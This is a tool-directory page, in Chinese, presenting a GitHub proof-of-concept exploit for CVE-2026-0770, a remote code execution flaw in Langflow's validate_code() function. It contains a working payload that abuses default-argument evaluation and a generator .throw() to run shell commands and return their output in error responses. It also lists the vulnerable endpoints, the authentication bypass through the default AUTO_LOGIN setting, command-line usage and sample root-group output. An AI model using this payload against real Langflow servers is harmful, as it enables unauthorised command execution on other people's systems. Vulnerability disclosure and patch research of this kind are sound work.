Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-0770-PoC — CVE-2026-0770 的概念验证 - Langflow 远程代码执行 | Kitploit
工具/GitHubGitHub/affix/cve-2026-0770-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问木马
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

CVE-2026-0770 的概念验证 - Langflow 远程代码执行

查看仓库
6186个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-0770 - Langflow 远程代码执行

概述

Langflow 在 src/lfx/src/lfx/custom/validate.py 中的 validate_code() 函数存在一个严重的远程代码执行漏洞。该函数使用 exec() 执行用户提供的 Python 代码,且没有沙箱隔离,允许在服务器上执行任意命令。

受影响版本

  • Langflow 最新版(截至 2026 年 2 月 7 日)

其他 CVE

在相关函数和端点中已发现类似漏洞:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

漏洞详情

validate_code() 函数解析用户提供的代码,并使用 exec() 执行函数定义:

root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- 任意代码执行

exec_globals 上下文包含对 importlib 和 Python 内置函数的访问权限,允许攻击者导入危险模块(os、subprocess、socket)并执行任意系统命令。

受影响端点

* 当 AUTO_LOGIN=true(默认配置)时,认证可以被绕过

其他易受攻击的函数

validate.py 中的以下函数也使用了不安全的 exec():

漏洞利用

生成器抛出技巧

validate_code() 函数只执行函数定义,而不执行函数调用。为了实现代码执行并外泄输出,我们利用 Python 对默认参数的求值顺序。

关键洞察: 默认参数表达式在函数定义时求值,而不是在函数调用时。

root@kitploit:~
def foo(x=print("I execute immediately")):
    pass

然而,我们需要通过 HTTP 响应外泄输出。端点会在响应体中返回错误信息,因此我们需要抛出一个包含输出的异常。

问题: raise 是语句,不是表达式,因此不能直接在默认参数中使用。

解决方案: 使用生成器的 .throw() 方法,它可以抛出异常,并且是表达式:

root@kitploit:~
(_ for _ in ()).throw(Exception("output here"))

这会创建一个空生成器并立即抛出异常。结合 lambda 来捕获命令输出:

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

执行流程:

  1. exec() 运行函数定义
  2. 默认参数 _=... 立即被求值
  3. subprocess.run() 执行命令
  4. Lambda 接收结果并调用生成器 .throw()
  5. 抛出包含命令输出的异常
  6. validate_code() 捕获异常并在响应中返回错误信息

使用方法

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

选项

标志描述
-t, --target目标 URL(必需)
-c, --command要执行的命令(默认:id && whoami)
-k, --tokenJWT 令牌(可选,默认使用自动登录)

示例输出(来自 Docker 容器 langflowai/langflow:latest - 2026 年 2 月 7 日)

root@kitploit:~
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

参考资料

  • Langflow GitHub:https://github.com/langflow-ai/langflow
  • 易受攻击的文件:src/lfx/src/lfx/custom/validate.py
下载工具
端点认证攻击向量
POST /api/v1/validate/code必需*直接提交代码
POST /api/v1/custom_component必需*组件定义中的代码
POST /api/v1/custom_component/update必需*组件更新中的代码
POST /api/v1/webhook/{flow_id}无包含代码组件的流程
POST /api/v1/build_public_tmp/{flow_id}/flow无公共流程执行
函数行号描述
validate_code()66验证用户代码
eval_function()140评估函数字符串
execute_function()182执行任意函数
create_function()227从代码创建函数
create_class()241-442通过 prepare_global_scope() 和 build_class_constructor() 创建类